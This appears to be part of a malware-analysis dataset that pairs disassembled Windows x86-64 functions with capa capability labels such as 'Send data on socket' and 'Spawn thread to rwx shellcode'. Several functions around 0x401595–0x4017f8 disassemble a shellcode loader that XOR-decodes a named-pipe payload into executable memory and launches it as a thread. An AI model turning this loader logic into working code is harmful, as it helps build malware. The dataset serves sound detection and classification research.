joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003fbc0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x180
mov rax, qword [0x14006a110]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rax, [rsp + 0x40]
mov rbx, rcx
lea rdx, [rsp + 0x48]
mov ecx, 0xfffefffc
mov qword [rsp + 0x48], rax
call fcn.140009e60
mov edx, dword [rsp + 0x40]
lea rcx, [rbx + 0x60]
mov dword [rsp + 0x50], edx
mov rdx, qword [rbx + 0x68]
lea r8, [rsp + 0x70]
mov r9d, 0x100
call fcn.140009f90
test eax, eax
js 0x14003fcfb
cmp dword [0x14006badc], 0
je 0x14003fc4b
mov r8, qword [rbx + 0x10]
lea r9, [rsp + 0x70]
lea rdx, str._3d:_DNSServiceGetProperty__s_
mov ecx, 1
call fcn.140025be0
lea rsi, [rsp + 0x70]
lea rdi, str.DaemonVersion
mov ecx, recv
repe cmpsb byte [rsi], byte [rdi]
jne 0x14003fcfb
lea rax, [rsp + 0x40]
lea rdx, [rsp + 0x48]
mov ecx, 4
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x58], 0
call fcn.140009e60
mov edx, dword [rsp + 0x40]
lea rax, [rsp + 0x40]
mov ecx, 0x32d6d8
mov dword [rsp + 0x5c], edx
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x48], rax
call fcn.140009e60
mov edx, dword [rsp + 0x40]
mov rsi, qword [rbx + 0x10]
xor r9d, r9d
mov dword [rsp + 0x60], edx
lea rdx, [rsp + 0x58]
lea r8d, [r9 + 0xc]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
mov ebx, eax
cmp eax, 0xc
jge 0x14003fd56
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
call fcn.140009dd0
mov rdi, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], listen
jmp 0x14003fd42
mov rsi, qword [rbx + 0x10]
xor r9d, r9d
lea rdx, [rsp + 0x50]
lea r8d, [r9 + 4]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
mov ebx, eax
cmp eax, 4
jge 0x14003fd56
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
call fcn.140009dd0
mov rdi, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 4
lea rdx, str.ERROR:_send_all__d__wrote__d_of__d_errno__d___s_
mov r9d, ebx
mov r8, rsi
xor ecx, ecx
call fcn.140025be0
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400437e0
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140040f30
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rbp
push rsi
sub rsp, 0x40
cmp dword [rcx + 0x70], 0
mov rsi, qword [rcx + 0x80]
mov rbp, rcx
je 0x140040f5a
mov eax, 2
mov rbp, qword [rsp + 0x60]
add rsp, 0x40
pop rsi
ret
lea rcx, [rsi + 0x10]
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rdi
call fcn.14000a050
mov eax, dword [rsi + 0xc]
mov r8d, dword [rsi + 8]
mov rcx, qword [rbp + 0x10]
lea rdx, [rax + rsi + 0x10]
sub r8d, eax
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
lea rcx, [rsi + 0x10]
mov edi, eax
call fcn.14000a050
xor ebx, ebx
test edi, edi
jns 0x140041000
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2714
je 0x140040ffe
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x140040ffe
mov edi, dword [rsi + 8]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
call fcn.140009dd0
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r8d, edi
sub r8d, dword [rsi + 0xc]
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x10]
lea rdx, str.send_msg_ERROR:_failed_to_write__d_of__d_bytes_to_fd__d_errno__d___s_
mov r9d, edi
xor ecx, ecx
mov qword [rsp + 0x20], rax
call fcn.140025be0
mov eax, 3
jmp 0x14004100f
mov edi, ebx
add dword [rsi + 0xc], edi
mov ecx, dword [rsi + 0xc]
cmp ecx, dword [rsi + 8]
sete bl
lea eax, [rbx + 1]
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x40
pop rsi
ret

Function at 0x140042c90
Capabilities:
Set socket configuration

Disassembly:
push rbx
sub rsp, 0x30
lea r8, [rsp + 0x48]
mov edx, 0x8004667e
mov rbx, rcx
mov dword [rsp + 0x48], 1
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
je 0x140042cf0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
call fcn.140009dd0
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea r8, str.ERROR:_could_not_set_listen_socket_to_non_blocking_mode
lea rdx, str._s:__d___s_
mov r9d, eax
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.140025be0
xor eax, eax
add rsp, 0x30
pop rbx
ret
mov edx, 5
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_listen]
test eax, eax
je 0x140042d21
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
call fcn.140009dd0
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea r8, str.ERROR:_could_not_listen_on_listen_socket
jmp 0x140042cd2
lea rdx, [0x140042b40]
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
call fcn.14002d2a0
test eax, eax
je 0x140042d5c
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
call fcn.140009dd0
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea r8, str.ERROR:_could_not_add_listen_socket_to_event_loop
jmp 0x140042cd2
cmp dword [0x14006badc], 0
je 0x140042d79
lea rdx, str._3d:_Listening_for_incoming_Unix_Domain_Socket_client_requests
mov r8, rbx
mov ecx, 1
call fcn.140025be0
mov eax, 1
add rsp, 0x30
pop rbx
ret
Function at 0x140045c0b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14006a110]
jne 0x1400437fa
rol rcx, 0x10
test cx, 0xffff
jne 0x1400437f6
repz ret
ror rcx, 0x10
jmp 0x140045b64
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14008eeb0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14008efa8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140045be9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14008eeb0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140045c0b
mov rax, qword [rsp + 0x88]
mov qword [0x14008efa8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14008ef48], rax
mov rax, qword [0x14008efa8]
mov qword [0x14008ee20], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14008ef30], rax
mov dword [0x14008ee10], 0xc0000409
mov dword [0x14008ee14], 1
mov rax, qword [0x14006a110]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14006a118]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14008eea8], eax
mov ecx, 1
call fcn.14004b3ec
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140062438]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14008eea8], 0
jne 0x140045c92
mov ecx, 1
call fcn.14004b3ec
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x14004734c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400471bc

Function at 0x140047358
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp fcn.1400471bc
Function at 0x14004c004
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14006a110]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140046874
xor ebx, ebx
cmp qword [0x14008fee8], rbx
mov rdi, rax
jne 0x14004c117
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14004c1ee
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14004c1ee
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14008fee8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14008fef0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14008fef8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14008ff08], rax
test rax, rax
je 0x14004c10e
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14008ff00], rax
jmp 0x14004c11e
mov rax, qword [0x14008ff00]
jmp 0x14004c125
mov rax, qword [0x14008ff00]
mov r11, qword [0x14008ff08]
cmp rax, rdi
je 0x14004c18c
cmp r11, rdi
je 0x14004c18c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14008ff08]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14004c18c
test rax, rax
je 0x14004c18c
call rsi
test rax, rax
je 0x14004c186
lea rcx, [rsp + 0x30]
mov r9d, listen
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14004c186
test byte [rsp + 0x40], 1
jne 0x14004c18c
bts ebp, 0x15
jmp 0x14004c1cc
mov rcx, qword [0x14008fef0]
cmp rcx, rdi
je 0x14004c1cc
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14004c1cc
call rax
mov rbx, rax
test rax, rax
je 0x14004c1cc
mov rcx, qword [0x14008fef8]
cmp rcx, rdi
je 0x14004c1cc
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14004c1cc
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14008fee8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14004c1ee
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14004c1f0
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400437e0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x401595
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov r9d, 4
movsxd r12, edx
mov rdi, rcx
mov rbp, r8
xor ecx, ecx
mov r8d, 0x3000
mov rdx, r12
mov rsi, r12
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rbx, rax
xor eax, eax
cmp esi, eax
jle 0x4015e0
mov rdx, rax
and edx, 3
mov dl, byte [rbp + rdx]
xor dl, byte [rdi + rax]
mov byte [rbx + rax], dl
inc rax
jmp 0x4015c7
mov rcx, rbx
call fcn.00401563
lea r9, [rsp + 0x3c]
mov rdx, r12
mov r8d, 0x20
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
lea r8, [0x00401560]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.DLL_CreateThread]
nop
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x401630
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x58
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x4c], 0
mov rsi, rcx
mov ebx, edx
lea rcx, [0x00408980]
mov qword [rsp + 0x38], 0
mov edx, 2
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.DLL_CreateNamedPipeA]
mov r12, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x4016dc
xor edx, edx
mov rcx, r12
lea rdi, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.DLL_ConnectNamedPipe]
test eax, eax
je 0x4016dc
test ebx, ebx
jle 0x4016c6
mov r9, rdi
mov r8d, ebx
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x4016d1
mov rcx, r12
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x4016dc
mov edx, dword [rsp + 0x4c]
add rsi, rdx
sub ebx, edx
jmp 0x4016a3
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop r12
ret

Function at 0x401704
Capabilities:
Read file on windows

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov dword [rsp + 0x4c], 0
mov rsi, rcx
mov ebx, edx
lea rcx, [0x00408980]
mov qword [rsp + 0x30], 0
mov edx, 0x80000000
lea rdi, [rsp + 0x4c]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.DLL_CreateFileA]
mov r12, rax
xor eax, eax
cmp r12, 0xffffffffffffffff
je 0x40179c
test ebx, ebx
jle 0x401781
mov r9, rdi
mov r8d, ebx
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x401791
mov rcx, r12
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, 1
jmp 0x40179c
mov edx, dword [rsp + 0x4c]
add rsi, rdx
sub ebx, edx
jmp 0x40175e
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop r12
ret
Function at 0x4017f8
Capabilities:
Create thread

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x004054b0]
movsxd rcx, dword [rbx + 4]
call sub.msvcrt.dll_malloc
mov rsi, qword [sym.imp.KERNEL32.DLL_Sleep]
mov r12, rax
mov ecx, 0x400
call rsi
mov edx, dword [rbx + 4]
mov rcx, r12
call fcn.00401704
test eax, eax
je 0x4017c8
mov edx, dword [rbx + 4]
lea r8, [rbx + 8]
mov rcx, r12
call fcn.00401595
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
sub rsp, 0x68
call qword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov r9d, 0x5c
div ecx
mov dword [rsp + 0x50], 0x5c
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov r8d, 0x5c
lea rcx, [0x00408980]
mov dword [rsp + 0x58], edx
lea rdx, str._c_c_c_c_c_c_c_c_cMSSE__d_server
call sub.msvcrt.dll_sprintf
xor ecx, ecx
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], 0
lea r8, [0x004016e6]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.DLL_CreateThread]
xor ecx, ecx
add rsp, 0x68
jmp 0x4017a6

Function at 0x401d50
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00402ec0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.00402ec0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x401dc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x00408614]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x401f68
mov rax, qword [0x00408618]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x401e0c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x401e97
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x401df0
mov rcx, r12
call fcn.00402b20
mov rbp, rax
test rax, rax
je 0x401fa2
mov rax, qword [0x00408618]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.00402c50
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00408618]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.DLL_VirtualQuery]
test rax, rax
je 0x401fb1
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x401e90
sub eax, 4
and eax, 0xfffffffb
jne 0x401f20
add dword [0x00408614], 1
cmp ebx, 8
jae 0x401ec8
test bl, 4
jne 0x401f70
test ebx, ebx
je 0x401eb9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x401f90
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x401eb9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x401efa
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x00408618]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
test eax, eax
jne 0x401e90
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00401d50
nop dword [rax]
xor edi, edi
jmp 0x401e17
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x401eb9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x401eb9
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.00401d50
mov rax, qword [0x00408618]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.00401d50
nop
nop dword [rax]
Function at 0x402790
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408900]
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov rbx, qword [0x004088e0]
test rbx, rbx
je 0x4027e4
mov rdi, qword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x4027db
test r12, r12
je 0x4027db
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4027c0
lea rcx, [0x00408900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]

Function at 0x402b20
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x004053b0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x402b99
mov rcx, r10
call fcn.004029f0
test eax, eax
je 0x402b99
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x402b96
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x402b8d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x402b99
add r8, 0x28
cmp r8, r9
jne 0x402b78
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x1076058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.010761df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1076089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x107606f
add dl, dl
jne 0x1076096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x10760f6
xor eax, eax
add dl, dl
jne 0x10760a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x10761ad
add dl, dl
jne 0x10760b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10760c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10760d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10760dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x10760ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x107607e
mov eax, 1
add dl, dl
jne 0x1076106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1076113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x10760fb
sub eax, ebx
mov ebx, 1
jne 0x107614c
mov ecx, 1
add dl, dl
jne 0x107612e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x107613b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1076123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x107607e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1076168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1076175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x107615d
cmp eax, 0x7d00
jae 0x107619b
cmp eax, 0x500
jb 0x1076196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x107607e
cmp eax, 0x7f
ja 0x107619e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x107607e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x10761d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x107607e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x4142e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41446b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00433ea0
xorps xmm15, xmm15
mov r14, qword [0x009cee28]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x414345
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x414354
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x414373
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x414383
cmp rbx, 0x1000
jae 0x41434b
jmp 0x4143ed
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x414395
xor edx, edx
jmp 0x4143e4
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00433ea0
xorps xmm15, xmm15
mov r14, qword [0x009cee28]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x414379
jmp 0x414368
call fcn.00474820
xorps xmm15, xmm15
mov r14, qword [0x009cee28]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.00438b00
lea rax, [0x0071641c]
mov ebx, 0x18
nop dword [rax]
call fcn.00439380
mov rax, qword [rsp + 0x38]
call fcn.004390c0
lea rax, [0x00716dfd]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00439380
mov rax, qword [rsp + 0x30]
call fcn.004390c0
call fcn.00438d40
call fcn.00438b60
lea rax, [0x0071b606]
mov ebx, 0x21
call fcn.0046ab60
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004710c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.004142e0